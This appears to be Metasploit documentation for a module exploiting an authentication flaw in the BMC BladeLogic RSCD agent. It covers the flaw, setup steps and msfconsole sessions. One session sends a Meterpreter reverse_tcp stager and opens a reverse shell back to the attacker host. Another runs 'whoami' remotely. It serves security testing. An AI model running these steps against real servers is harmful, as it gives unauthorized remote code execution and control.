## Description
This module exploits a weak access control check in the BMC Server Automation RSCD agent that allows arbitrary operating system commands to be executed without authentication.

Affected versions of the BMC RSCD agent fail to enforce authentication controls at the server side enabling a rogue client to send an authentication message, ignore the response, and continue interacting with the agent as though the authentication was successful. This module takes advantage of this vulnerability to execute arbitrary operating system commands using the BMC network shell (NSH) functionality.

The access control vulnerability itself was identified by Olga Yanushkevich of [ERNW](https://www.ernw.de/) and was assigned [CVE-2016-1542](https://www.cvedetails.com/cve/CVE-2016-1542/) and [CVE-2016-1543](https://www.cvedetails.com/cve/CVE-2016-1543/). Further details can be found at the [ERNW Insinuator website](https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/).

Technical details of the RCE exploit can be found [here](https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/) and [here](https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/).

## Vulnerable Application
The module affects the RSCD agent component of [BMC BladeLogic Server Automation](http://www.bmcsoftware.uk/it-solutions/bladelogic-server-automation.html). The agent is installed on servers managed using BMC BladeLogic Server Automation and listens on TCP port 4750. The vulnerability affects versions 8.x below 8.6 SP1 Patch 2, 8.7 Patch 3, and 8.8. More details on affected versions and the fix can be found from the [BMC Knowledgebase](https://selfservice.bmc.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA214000000dBpnCAE&type=Solution).

## Verification Steps
To use this exploit you will need access to BMC BladeLogic Server Automation.

1. Install the RSCD agent on a host as detailed in the [BMC documentation](https://docs.bmc.com/docs/ServerAutomation/89/agent-installation-overview-653394992.html).
2. Ensure that the RSCD service is running and listening on TCP port 4750.
3. Launch `msfconsole`.
4. Load the module `use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce`.
5. Select the generic command target `set target 3`.
6. Select a generic command payload `set payload cmd/unix/generic` or `set payload cmd/windows/generic`.
7. Set the command to execute `set CMD "echo MSF"` or `set CMD "cmd /c echo MSF"`.
8. Run the exploit `exploit`.

The result should be that the string `MSF` is returned and output.

## Usage Scenarios
The exploit module contains several targets as detailed below.

### Target 0: Automatic
The automatic target causes the module to issue an `agentinfo` request to the target in an attempt to identify the target operating system. If it appears to be a Windows target then the module behaves as though target 1 was selected, otherwise it behaves as though target 2 was selected.

### Target 1: Windows/VBS Stager
This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Windows targets (for example, a Meterpreter shell).

	msf > use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set RHOST 34.239.181.84
	RHOST => 34.239.181.84
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set LHOST 54.164.112.135
	LHOST => 54.164.112.135
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set TARGET 1
	TARGET => 1
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
	PAYLOAD => windows/meterpreter/reverse_tcp
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > exploit
	[*] Exploit running as background job 1.
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) >
	[*] Started reverse TCP handler on 0.0.0.0:4444
	[*] 34.239.181.84:4750 - Command Stager progress -   8.01% done (8099/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  16.03% done (16198/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  24.04% done (24297/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  32.06% done (32396/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  40.07% done (40495/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  48.09% done (48594/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  56.10% done (56693/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  64.11% done (64792/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  72.13% done (72891/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  80.14% done (80990/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  88.16% done (89089/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress -  96.17% done (97188/101056 bytes)
	[*] 34.239.181.84:4750 - Command Stager progress - 100.00% done (101056/101056 bytes)
	[*] Sending stage (179779 bytes) to 34.239.181.84
	[*] Meterpreter session 1 opened (172.31.58.107:4444 -> 34.239.181.84:56233) at 2018-01-14 00:54:49 +0000

### Target 2: Unix/Linux
This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Unix/Linux targets in the same way as target 1.

### Target 3: Generic Cmd
This target can be used with *cmd* payloads to execute operating system commands against the target host.

	msf > use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set RHOST 34.239.181.84
	RHOST => 34.239.181.84
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set TARGET 3
	TARGET => 3
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set PAYLOAD cmd/windows/generic
	PAYLOAD => cmd/windows/generic
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set CMD "cmd /c whoami"
	CMD => cmd /c whoami
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > exploit
	[*] Exploit running as background job 2.
	msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) >
	[+] 34.239.181.84:4750 - Output
	ip-ac1f1eb2\bladelogicrscd

#### Windows Hosts
When using this module target against Windows hosts, non-powershell command lines are limited to around 8,100 characters and generally have to be prefixed with `cmd /c`.
Powershell commands are executed differently and have a much larger length limit of around 32,700 characters.
